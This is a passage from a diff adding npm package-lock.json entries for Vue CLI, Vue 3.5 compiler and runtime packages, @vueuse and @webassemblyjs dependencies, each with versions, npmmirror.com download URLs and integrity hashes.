"sha512-6ZDAzcxvy7VcnCjNdHJ59mwK02ZFuP5CnucloidqlZwVQv5CQLijc3lGpR7MD3TWFi78J7+a8J56YxbCtHgT9Q==", + "dev": true, + "dependencies": { + "@babel/plugin-syntax-jsx": "^7.2.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@vue/babel-sugar-functional-vue": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/@vue/babel-sugar-functional-vue/-/babel-sugar-functional-vue-1.4.0.tgz", + "integrity": "sha512-lTEB4WUFNzYt2In6JsoF9sAYVTo84wC4e+PoZWSgM6FUtqRJz7wMylaEhSRgG71YF+wfLD6cc9nqVeXN2rwBvw==", + "dev": true, + "dependencies": { + "@babel/plugin-syntax-jsx": "^7.2.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@vue/babel-sugar-inject-h": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/@vue/babel-sugar-inject-h/-/babel-sugar-inject-h-1.4.0.tgz", + "integrity": "sha512-muwWrPKli77uO2fFM7eA3G1lAGnERuSz2NgAxuOLzrsTlQl8W4G+wwbM4nB6iewlKbwKRae3nL03UaF5ffAPMA==", + "dev": true, + "dependencies": { + "@babel/plugin-syntax-jsx": "^7.2.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@vue/babel-sugar-v-model": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/@vue/babel-sugar-v-model/-/babel-sugar-v-model-1.4.0.tgz", + "integrity": "sha512-0t4HGgXb7WHYLBciZzN5s0Hzqan4Ue+p/3FdQdcaHAb7s5D9WZFGoSxEZHrR1TFVZlAPu1bejTKGeAzaaG3NCQ==", + "dev": true, + "dependencies": { + "@babel/plugin-syntax-jsx": "^7.2.0", + "@vue/babel-helper-vue-jsx-merge-props": "^1.4.0", + "@vue/babel-plugin-transform-vue-jsx": "^1.4.0", + "camelcase": "^5.0.0", + "html-tags": "^2.0.0", + "svg-tags": "^1.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@vue/babel-sugar-v-model/node_modules/html-tags": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/html-tags/-/html-tags-2.0.0.tgz", + "integrity": "sha512-+Il6N8cCo2wB/Vd3gqy/8TZhTD3QvcVeQLCnZiGkGCH3JP28IgGAY41giccp2W4R3jfyJPAP318FQTa1yU7K7g==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/@vue/babel-sugar-v-on": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/@vue/babel-sugar-v-on/-/babel-sugar-v-on-1.4.0.tgz", + "integrity": "sha512-m+zud4wKLzSKgQrWwhqRObWzmTuyzl6vOP7024lrpeJM4x2UhQtRDLgYjXAw9xBXjCwS0pP9kXjg91F9ZNo9JA==", + "dev": true, + "dependencies": { + "@babel/plugin-syntax-jsx": "^7.2.0", + "@vue/babel-plugin-transform-vue-jsx": "^1.4.0", + "camelcase": "^5.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@vue/cli-overlay": { + "version": "5.0.8", + "resolved": "https://registry.npmmirror.com/@vue/cli-overlay/-/cli-overlay-5.0.8.tgz", + "integrity": "sha512-KmtievE/B4kcXp6SuM2gzsnSd8WebkQpg3XaB6GmFh1BJGRqa1UiW9up7L/Q67uOdTigHxr5Ar2lZms4RcDjwQ==", + "dev": true + }, + "node_modules/@vue/cli-plugin-babel": { + "version": "5.0.8", + "resolved": "https://registry.npmmirror.com/@vue/cli-plugin-babel/-/cli-plugin-babel-5.0.8.tgz", + "integrity": "sha512-a4qqkml3FAJ3auqB2kN2EMPocb/iu0ykeELwed+9B1c1nQ1HKgslKMHMPavYx3Cd/QAx2mBD4hwKBqZXEI/CsQ==", + "dev": true, + "dependencies": { + "@babel/core": "^7.12.16", + "@vue/babel-preset-app": "^5.0.8", + "@vue/cli-shared-utils": "^5.0.8", + "babel-loader": "^8.2.2", + "thread-loader": "^3.0.0", + "webpack": "^5.54.0" + }, + "peerDependencies": { + "@vue/cli-service": "^3.0.0 || ^4.0.0 || ^5.0.0-0" + } + }, + "node_modules/@vue/cli-plugin-eslint": { + "version": "5.0.8", + "resolved": "https://registry.npmmirror.com/@vue/cli-plugin-eslint/-/cli-plugin-eslint-5.0.8.tgz", + "integrity": "sha512-d11+I5ONYaAPW1KyZj9GlrV/E6HZePq5L5eAF5GgoVdu6sxr6bDgEoxzhcS1Pk2eh8rn1MxG/FyyR+eCBj/CNg==", + "dev": true, + "dependencies": { + "@vue/cli-shared-utils": "^5.0.8", + "eslint-webpack-plugin": "^3.1.0", + "globby": "^11.0.2", + "webpack": "^5.54.0", + "yorkie": "^2.0.0" + }, + "peerDependencies": { + "@vue/cli-service": "^3.0.0 || ^4.0.0 || ^5.0.0-0", + "eslint": ">=7.5.0" + } + }, + "node_modules/@vue/cli-plugin-router": { + "version": "5.0.8", + "resolved": "https://registry.npmmirror.com/@vue/cli-plugin-router/-/cli-plugin-router-5.0.8.tgz", + "integrity": "sha512-Gmv4dsGdAsWPqVijz3Ux2OS2HkMrWi1ENj2cYL75nUeL+Xj5HEstSqdtfZ0b1q9NCce+BFB6QnHfTBXc/fCvMg==", + "dev": true, + "dependencies": { + "@vue/cli-shared-utils": "^5.0.8" + }, + "peerDependencies": { + "@vue/cli-service": "^3.0.0 || ^4.0.0 || ^5.0.0-0" + } + }, + "node_modules/@vue/cli-plugin-vuex": { + "version": "5.0.8", + "resolved": "https://registry.npmmirror.com/@vue/cli-plugin-vuex/-/cli-plugin-vuex-5.0.8.tgz", + "integrity": "sha512-HSYWPqrunRE5ZZs8kVwiY6oWcn95qf/OQabwLfprhdpFWAGtLStShjsGED2aDpSSeGAskQETrtR/5h7VqgIlBA==", + "dev": true, + "peerDependencies": { + "@vue/cli-service": "^3.0.0 || ^4.0.0 || ^5.0.0-0" + } + }, + "node_modules/@vue/cli-service": { + "version": "5.0.8", + "resolved": "https://registry.npmmirror.com/@vue/cli-service/-/cli-service-5.0.8.tgz", + "integrity": "sha512-nV7tYQLe7YsTtzFrfOMIHc5N2hp5lHG2rpYr0aNja9rNljdgcPZLyQRb2YRivTHqTv7lI962UXFURcpStHgyFw==", + "dev": true, + "dependencies": { + "@babel/helper-compilation-targets": "^7.12.16", + "@soda/friendly-errors-webpack-plugin": "^1.8.0", + "@soda/get-current-script": "^1.0.2", + "@types/minimist": "^1.2.0", + "@vue/cli-overlay": "^5.0.8", + "@vue/cli-plugin-router": "^5.0.8", + "@vue/cli-plugin-vuex": "^5.0.8", + "@vue/cli-shared-utils": "^5.0.8", + "@vue/component-compiler-utils": "^3.3.0", + "@vue/vue-loader-v15": "npm:vue-loader@^15.9.7", + "@vue/web-component-wrapper": "^1.3.0", + "acorn": "^8.0.5", + "acorn-walk": "^8.0.2", + "address": "^1.1.2", + "autoprefixer": "^10.2.4", + "browserslist": "^4.16.3", + "case-sensitive-paths-webpack-plugin": "^2.3.0", + "cli-highlight": "^2.1.10", + "clipboardy": "^2.3.0", + "cliui": "^7.0.4", + "copy-webpack-plugin": "^9.0.1", + "css-loader": "^6.5.0", + "css-minimizer-webpack-plugin": "^3.0.2", + "cssnano": "^5.0.0", + "debug": "^4.1.1", + "default-gateway": "^6.0.3", + "dotenv": "^10.0.0", + "dotenv-expand": "^5.1.0", + "fs-extra": "^9.1.0", + "globby": "^11.0.2", + "hash-sum": "^2.0.0", + "html-webpack-plugin": "^5.1.0", + "is-file-esm": "^1.0.0", + "launch-editor-middleware": "^2.2.1", + "lodash.defaultsdeep": "^4.6.1", + "lodash.mapvalues": "^4.6.0", + "mini-css-extract-plugin": "^2.5.3", + "minimist": "^1.2.5", + "module-alias": "^2.2.2", + "portfinder": "^1.0.26", + "postcss": "^8.2.6", + "postcss-loader": "^6.1.1", + "progress-webpack-plugin": "^1.0.12", + "ssri": "^8.0.1", + "terser-webpack-plugin": "^5.1.1", + "thread-loader": "^3.0.0", + "vue-loader": "^17.0.0", + "vue-style-loader": "^4.1.3", + "webpack": "^5.54.0", + "webpack-bundle-analyzer": "^4.4.0", + "webpack-chain": "^6.5.1", + "webpack-dev-server": "^4.7.3", + "webpack-merge": "^5.7.3", + "webpack-virtual-modules": "^0.4.2", + "whatwg-fetch": "^3.6.2" + }, + "bin": { + "vue-cli-service": "bin/vue-cli-service.js" + }, + "engines": { + "node": "^12.0.0 || >= 14.0.0" + }, + "peerDependencies": { + "vue-template-compiler": "^2.0.0", + "webpack-sources": "*" + }, + "peerDependenciesMeta": { + "cache-loader": { + "optional": true + }, + "less-loader": { + "optional": true + }, + "pug-plain-loader": { + "optional": true + }, + "raw-loader": { + "optional": true + }, + "sass-loader": { + "optional": true + }, + "stylus-loader": { + "optional": true + }, + "vue-template-compiler": { + "optional": true + }, + "webpack-sources": { + "optional": true + } + } + }, + "node_modules/@vue/cli-shared-utils": { + "version": "5.0.8", + "resolved": "https://registry.npmmirror.com/@vue/cli-shared-utils/-/cli-shared-utils-5.0.8.tgz", + "integrity": "sha512-uK2YB7bBVuQhjOJF+O52P9yFMXeJVj7ozqJkwYE9PlMHL1LMHjtCYm4cSdOebuPzyP+/9p0BimM/OqxsevIopQ==", + "dev": true, + "dependencies": { + "@achrinza/node-ipc": "^9.2.5", + "chalk": "^4.1.2", + "execa": "^1.0.0", + "joi": "^17.4.0", + "launch-editor": "^2.2.1", + "lru-cache": "^6.0.0", + "node-fetch": "^2.6.7", + "open": "^8.0.2", + "ora": "^5.3.0", + "read-pkg": "^5.1.1", + "semver": "^7.3.4", + "strip-ansi": "^6.0.0" + } + }, + "node_modules/@vue/cli-shared-utils/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmmirror.com/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@vue/cli-shared-utils/node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmmirror.com/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@vue/cli-shared-utils/node_modules/semver": { + "version": "7.6.3", + "resolved": "https://registry.npmmirror.com/semver/-/semver-7.6.3.tgz", + "integrity": "sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@vue/cli-shared-utils/node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + }, + "node_modules/@vue/compiler-core": { + "version": "3.5.12", + "resolved": "https://registry.npmmirror.com/@vue/compiler-core/-/compiler-core-3.5.12.tgz", + "integrity": "sha512-ISyBTRMmMYagUxhcpyEH0hpXRd/KqDU4ymofPgl2XAkY9ZhQ+h0ovEZJIiPop13UmR/54oA2cgMDjgroRelaEw==", + "dependencies": { + "@babel/parser": "^7.25.3", + "@vue/shared": "3.5.12", + "entities": "^4.5.0", + "estree-walker": "^2.0.2", + "source-map-js": "^1.2.0" + } + }, + "node_modules/@vue/compiler-dom": { + "version": "3.5.12", + "resolved": "https://registry.npmmirror.com/@vue/compiler-dom/-/compiler-dom-3.5.12.tgz", + "integrity": "sha512-9G6PbJ03uwxLHKQ3P42cMTi85lDRvGLB2rSGOiQqtXELat6uI4n8cNz9yjfVHRPIu+MsK6TE418Giruvgptckg==", + "dependencies": { + "@vue/compiler-core": "3.5.12", + "@vue/shared": "3.5.12" + } + }, + "node_modules/@vue/compiler-sfc": { + "version": "3.5.12", + "resolved": "https://registry.npmmirror.com/@vue/compiler-sfc/-/compiler-sfc-3.5.12.tgz", + "integrity": "sha512-2k973OGo2JuAa5+ZlekuQJtitI5CgLMOwgl94BzMCsKZCX/xiqzJYzapl4opFogKHqwJk34vfsaKpfEhd1k5nw==", + "dependencies": { + "@babel/parser": "^7.25.3", + "@vue/compiler-core": "3.5.12", + "@vue/compiler-dom": "3.5.12", + "@vue/compiler-ssr": "3.5.12", + "@vue/shared": "3.5.12", + "estree-walker": "^2.0.2", + "magic-string": "^0.30.11", + "postcss": "^8.4.47", + "source-map-js": "^1.2.0" + } + }, + "node_modules/@vue/compiler-ssr": { + "version": "3.5.12", + "resolved": "https://registry.npmmirror.com/@vue/compiler-ssr/-/compiler-ssr-3.5.12.tgz", + "integrity": "sha512-eLwc7v6bfGBSM7wZOGPmRavSWzNFF6+PdRhE+VFJhNCgHiF8AM7ccoqcv5kBXA2eWUfigD7byekvf/JsOfKvPA==", + "dependencies": { + "@vue/compiler-dom": "3.5.12", + "@vue/shared": "3.5.12" + } + }, + "node_modules/@vue/component-compiler-utils": { + "version": "3.3.0", + "resolved": "https://registry.npmmirror.com/@vue/component-compiler-utils/-/component-compiler-utils-3.3.0.tgz", + "integrity": "sha512-97sfH2mYNU+2PzGrmK2haqffDpVASuib9/w2/noxiFi31Z54hW+q3izKQXXQZSNhtiUpAI36uSuYepeBe4wpHQ==", + "dev": true, + "dependencies": { + "consolidate": "^0.15.1", + "hash-sum": "^1.0.2", + "lru-cache": "^4.1.2", + "merge-source-map": "^1.1.0", + "postcss": "^7.0.36", + "postcss-selector-parser": "^6.0.2", + "source-map": "~0.6.1", + "vue-template-es2015-compiler": "^1.9.0" + }, + "optionalDependencies": { + "prettier": "^1.18.2 || ^2.0.0" + } + }, + "node_modules/@vue/component-compiler-utils/node_modules/hash-sum": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/hash-sum/-/hash-sum-1.0.2.tgz", + "integrity": "sha512-fUs4B4L+mlt8/XAtSOGMUO1TXmAelItBPtJG7CyHJfYTdDjwisntGO2JQz7oUsatOY9o68+57eziUVNw/mRHmA==", + "dev": true + }, + "node_modules/@vue/component-compiler-utils/node_modules/lru-cache": { + "version": "4.1.5", + "resolved": "https://registry.npmmirror.com/lru-cache/-/lru-cache-4.1.5.tgz", + "integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==", + "dev": true, + "dependencies": { + "pseudomap": "^1.0.2", + "yallist": "^2.1.2" + } + }, + "node_modules/@vue/component-compiler-utils/node_modules/picocolors": { + "version": "0.2.1", + "resolved": "https://registry.npmmirror.com/picocolors/-/picocolors-0.2.1.tgz", + "integrity": "sha512-cMlDqaLEqfSaW8Z7N5Jw+lyIW869EzT73/F5lhtY9cLGoVxSXznfgfXMO0Z5K0o0Q2TkTXq+0KFsdnSe3jDViA==", + "dev": true + }, + "node_modules/@vue/component-compiler-utils/node_modules/postcss": { + "version": "7.0.39", + "resolved": "https://registry.npmmirror.com/postcss/-/postcss-7.0.39.tgz", + "integrity": "sha512-yioayjNbHn6z1/Bywyb2Y4s3yvDAeXGOyxqD+LnVOinq6Mdmd++SW2wUNVzavyyHxd6+DxzWGIuosg6P1Rj8uA==", + "dev": true, + "dependencies": { + "picocolors": "^0.2.1", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + } + }, + "node_modules/@vue/component-compiler-utils/node_modules/yallist": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/yallist/-/yallist-2.1.2.tgz", + "integrity": "sha512-ncTzHV7NvsQZkYe1DW7cbDLm0YpzHmZF5r/iyP3ZnQtMiJ+pjzisCiMNI+Sj+xQF5pXhSHxSB3uDbsBTzY/c2A==", + "dev": true + }, + "node_modules/@vue/reactivity": { + "version": "3.5.12", + "resolved": "https://registry.npmmirror.com/@vue/reactivity/-/reactivity-3.5.12.tgz", + "integrity": "sha512-UzaN3Da7xnJXdz4Okb/BGbAaomRHc3RdoWqTzlvd9+WBR5m3J39J1fGcHes7U3za0ruYn/iYy/a1euhMEHvTAg==", + "dependencies": { + "@vue/shared": "3.5.12" + } + }, + "node_modules/@vue/runtime-core": { + "version": "3.5.12", + "resolved": "https://registry.npmmirror.com/@vue/runtime-core/-/runtime-core-3.5.12.tgz", + "integrity": "sha512-hrMUYV6tpocr3TL3Ad8DqxOdpDe4zuQY4HPY3X/VRh+L2myQO8MFXPAMarIOSGNu0bFAjh1yBkMPXZBqCk62Uw==", + "dependencies": { + "@vue/reactivity": "3.5.12", + "@vue/shared": "3.5.12" + } + }, + "node_modules/@vue/runtime-dom": { + "version": "3.5.12", + "resolved": "https://registry.npmmirror.com/@vue/runtime-dom/-/runtime-dom-3.5.12.tgz", + "integrity": "sha512-q8VFxR9A2MRfBr6/55Q3umyoN7ya836FzRXajPB6/Vvuv0zOPL+qltd9rIMzG/DbRLAIlREmnLsplEF/kotXKA==", + "dependencies": { + "@vue/reactivity": "3.5.12", + "@vue/runtime-core": "3.5.12", + "@vue/shared": "3.5.12", + "csstype": "^3.1.3" + } + }, + "node_modules/@vue/server-renderer": { + "version": "3.5.12", + "resolved": "https://registry.npmmirror.com/@vue/server-renderer/-/server-renderer-3.5.12.tgz", + "integrity": "sha512-I3QoeDDeEPZm8yR28JtY+rk880Oqmj43hreIBVTicisFTx/Dl7JpG72g/X7YF8hnQD3IFhkky5i2bPonwrTVPg==", + "dependencies": { + "@vue/compiler-ssr": "3.5.12", + "@vue/shared": "3.5.12" + }, + "peerDependencies": { + "vue": "3.5.12" + } + }, + "node_modules/@vue/shared": { + "version": "3.5.12", + "resolved": "https://registry.npmmirror.com/@vue/shared/-/shared-3.5.12.tgz", + "integrity": "sha512-L2RPSAwUFbgZH20etwrXyVyCBu9OxRSi8T/38QsvnkJyvq2LufW2lDCOzm7t/U9C1mkhJGWYfCuFBCmIuNivrg==" + }, + "node_modules/@vue/vue-loader-v15": { + "name": "vue-loader", + "version": "15.11.1", + "resolved": "https://registry.npmmirror.com/vue-loader/-/vue-loader-15.11.1.tgz", + "integrity": "sha512-0iw4VchYLePqJfJu9s62ACWUXeSqM30SQqlIftbYWM3C+jpPcEHKSPUZBLjSF9au4HTHQ/naF6OGnO3Q/qGR3Q==", + "dev": true, + "dependencies": { + "@vue/component-compiler-utils": "^3.1.0", + "hash-sum": "^1.0.2", + "loader-utils": "^1.1.0", + "vue-hot-reload-api": "^2.3.0", + "vue-style-loader": "^4.1.0" + }, + "peerDependencies": { + "css-loader": "*", + "webpack": "^3.0.0 || ^4.1.0 || ^5.0.0-0" + }, + "peerDependenciesMeta": { + "cache-loader": { + "optional": true + }, + "prettier": { + "optional": true + }, + "vue-template-compiler": { + "optional": true + } + } + }, + "node_modules/@vue/vue-loader-v15/node_modules/hash-sum": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/hash-sum/-/hash-sum-1.0.2.tgz", + "integrity": "sha512-fUs4B4L+mlt8/XAtSOGMUO1TXmAelItBPtJG7CyHJfYTdDjwisntGO2JQz7oUsatOY9o68+57eziUVNw/mRHmA==", + "dev": true + }, + "node_modules/@vue/web-component-wrapper": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/@vue/web-component-wrapper/-/web-component-wrapper-1.3.0.tgz", + "integrity": "sha512-Iu8Tbg3f+emIIMmI2ycSI8QcEuAUgPTgHwesDU1eKMLE4YC/c/sFbGc70QgMq31ijRftV0R7vCm9co6rldCeOA==", + "dev": true + }, + "node_modules/@vueuse/core": { + "version": "9.13.0", + "resolved": "https://registry.npmmirror.com/@vueuse/core/-/core-9.13.0.tgz", + "integrity": "sha512-pujnclbeHWxxPRqXWmdkKV5OX4Wk4YeK7wusHqRwU0Q7EFusHoqNA/aPhB6KCh9hEqJkLAJo7bb0Lh9b+OIVzw==", + "dependencies": { + "@types/web-bluetooth": "^0.0.16", + "@vueuse/metadata": "9.13.0", + "@vueuse/shared": "9.13.0", + "vue-demi": "*" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/@vueuse/core/node_modules/vue-demi": { + "version": "0.14.10", + "resolved": "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.10.tgz", + "integrity": "sha512-nMZBOwuzabUO0nLgIcc6rycZEebF6eeUfaiQx9+WSk8e29IbLvPU9feI6tqW4kTo3hvoYAJkMh8n8D0fuISphg==", + "hasInstallScript": true, + "bin": { + "vue-demi-fix": "bin/vue-demi-fix.js", + "vue-demi-switch": "bin/vue-demi-switch.js" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + }, + "peerDependencies": { + "@vue/composition-api": "^1.0.0-rc.1", + "vue": "^3.0.0-0 || ^2.6.0" + }, + "peerDependenciesMeta": { + "@vue/composition-api": { + "optional": true + } + } + }, + "node_modules/@vueuse/metadata": { + "version": "9.13.0", + "resolved": "https://registry.npmmirror.com/@vueuse/metadata/-/metadata-9.13.0.tgz", + "integrity": "sha512-gdU7TKNAUVlXXLbaF+ZCfte8BjRJQWPCa2J55+7/h+yDtzw3vOoGQDRXzI6pyKyo6bXFT5/QoPE4hAknExjRLQ==", + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/@vueuse/shared": { + "version": "9.13.0", + "resolved": "https://registry.npmmirror.com/@vueuse/shared/-/shared-9.13.0.tgz", + "integrity": "sha512-UrnhU+Cnufu4S6JLCPZnkWh0WwZGUp72ktOF2DFptMlOs3TOdVv8xJN53zhHGARmVOsz5KqOls09+J1NR6sBKw==", + "dependencies": { + "vue-demi": "*" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/@vueuse/shared/node_modules/vue-demi": { + "version": "0.14.10", + "resolved": "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.10.tgz", + "integrity": "sha512-nMZBOwuzabUO0nLgIcc6rycZEebF6eeUfaiQx9+WSk8e29IbLvPU9feI6tqW4kTo3hvoYAJkMh8n8D0fuISphg==", + "hasInstallScript": true, + "bin": { + "vue-demi-fix": "bin/vue-demi-fix.js", + "vue-demi-switch": "bin/vue-demi-switch.js" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + }, + "peerDependencies": { + "@vue/composition-api": "^1.0.0-rc.1", + "vue": "^3.0.0-0 || ^2.6.0" + }, + "peerDependenciesMeta": { + "@vue/composition-api": { + "optional": true + } + } + }, + "node_modules/@webassemblyjs/ast": { + "version": "1.12.1", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/ast/-/ast-1.12.1.tgz", + "integrity": "sha512-EKfMUOPRRUTy5UII4qJDGPpqfwjOmZ5jeGFwid9mnoqIFK+e0vqoi1qH56JpmZSzEL53jKnNzScdmftJyG5xWg==", + "dev": true, + "dependencies": { + "@webassemblyjs/helper-numbers": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6" + } + }, + "node_modules/@webassemblyjs/floating-point-hex-parser": { + "version": "1.11.6", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.6.tgz", + "integrity": "sha512-ejAj9hfRJ2XMsNHk/v6Fu2dGS+i4UaXBXGemOfQ/JfQ6mdQg/WXtwleQRLLS4OvfDhv8rYnVwH27YJLMyYsxhw==", + "dev": true + }, + "node_modules/@webassemblyjs/helper-api-error": { + "version": "1.11.6", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.6.tgz", + "integrity": "sha512-o0YkoP4pVu4rN8aTJgAyj9hC2Sv5UlkzCHhxqWj8butaLvnpdc2jOwh4ewE6CX0txSfLn/UYaV/pheS2Txg//Q==", + "dev": true + }, + "node_modules/@webassemblyjs/helper-buffer": { + "version": "1.12.1", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/helper-buffer/-/helper-buffer-1.12.1.tgz", + "integrity": "sha512-nzJwQw99DNDKr9BVCOZcLuJJUlqkJh+kVzVl6Fmq/tI5ZtEyWT1KZMyOXltXLZJmDtvLCDgwsyrkohEtopTXCw==", + "dev": true + }, + "node_modules/@webassemblyjs/helper-numbers": { + "version": "1.11.6", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.6.tgz", + "integrity": "sha512-vUIhZ8LZoIWHBohiEObxVm6hwP034jwmc9kuq5GdHZH0wiLVLIPcMCdpJzG4C11cHoQ25TFIQj9kaVADVX7N3g==", + "dev": true, + "dependencies": { + "@webassemblyjs/floating-point-hex-parser": "1.11.6", + "@webassemblyjs/helper-api-error": "1.11.6", + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@webassemblyjs/helper-wasm-bytecode": { + "version": "1.11.6", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.6.tgz", + "integrity": "sha512-sFFHKwcmBprO9e7Icf0+gddyWYDViL8bpPjJJl0WHxCdETktXdmtWLGVzoHbqUcY4Be1LkNfwTmXOJUFZYSJdA==", + "dev": true + }, + "node_modules/@webassemblyjs/helper-wasm-section": { + "version": "1.12.1", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.12.1.tgz", + "integrity": "sha512-Jif4vfB6FJlUlSbgEMHUyk1j234GTNG9dBJ4XJdOySoj518Xj0oGsNi59cUQF4RRMS9ouBUxDDdyBVfPTypa5g==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.12.1", + "@webassemblyjs/helper-buffer": "1.12.1", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/wasm-gen": "1.12.1" + } + }, + "node_modules/@webassemblyjs/ieee754": { + "version": "1.11.6", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/ieee754/-/ieee754-1.11.6.tgz", + "integrity": "sha512-LM4p2csPNvbij6U1f19v6WR56QZ8JcHg3QIJTlSwzFcmx6WSORicYj6I63f9yU1kEUtrpG+kjkiIAkevHpDXrg==", + "dev": true, + "dependencies": { + "@xtuc/ieee754": "^1.2.0" + } + }, + "node_modules/@webassemblyjs/leb128": { + "version": "1.11.6", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/leb128/-/leb128-1.11.6.tgz", + "integrity": "sha512-m7a0FhE67DQXgouf1tbN5XQcdWoNgaAuoULHIfGFIEVKA6tu/edls6XnIlkmS6FrXAquJRPni3ZZKjw6FSPjPQ==", + "dev": true, + "dependencies": { + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@webassemblyjs/utf8": { + "version": "1.11.6", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/utf8/-/utf8-1.11.6.tgz", + "integrity": "sha512-vtXf2wTQ3+up9Zsg8sa2yWiQpzSsMyXj0qViVP6xKGCUT8p8YJ6HqI7l5eCnWx1T/FYdsv07HQs2wTFbbof/RA==", + "dev": true + }, + "node_modules/@webassemblyjs/wasm-edit": { + "version": "1.12.1", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/wasm-edit/-/wasm-edit-1.12.1.tgz", + "integrity": "sha512-1DuwbVvADvS5mGnXbE+c9NfA8QRcZ6iKquqjjmR10k6o+zzsRVesil54DKexiowcFCPdr/Q0qaMgB01+SQ1u6g==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.12.1", + "@webassemblyjs/helper-buffer": "1.12.1", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/helper-wasm-section": "1.12.1", + "@webassemblyjs/wasm-gen": "1.12.1", + "@webassemblyjs/wasm-opt": "1.12.1", + "@webassemblyjs/wasm-parser": "1.12.1", + "@webassemblyjs/wast-printer": "1.12.1" + } + }, + "node_modules/@webassemblyjs/wasm-gen": { + "version": "1.12.1", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/wasm-gen/-/wasm-gen-1.12.1.tgz", + "integrity": "sha512-TDq4Ojh9fcohAw6OIMXqiIcTq5KUXTGRkVxbSo1hQnSy6lAM5GSdfwWeSxpAo0YzgsgF182E/U0mDNhuA0tW7w==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.12.1", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/ieee754": "1.11.6", + "@webassemblyjs/leb128": "1.11.6", + "@webassemblyjs/utf8": "1.11.6" + } + }, + "node_modules/@webassemblyjs/wasm-opt": { + "version": "1.12.1", + "resolved": "https://registry.npmmirror.com/@webassemblyjs/wasm-opt/-/wasm-opt-1.12.1.tgz", + "integrity": "sha512-Jg99j/2gG2iaz3hijw857AVYekZe2SAskcqlWIZXjji5WStnOpVoat3gQfT/Q5tb2djnCjBtMocY/Su1GfxPBg==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.12.1", + "@webassemblyjs/helper-buffer": "1.12.1", + "@webassemblyjs/wasm-gen": "1.12.1", + "@webassemblyjs/wasm-parser": "1.12.1" + } + }, + "node_modules/@webassemblyjs/wasm-parser": { + 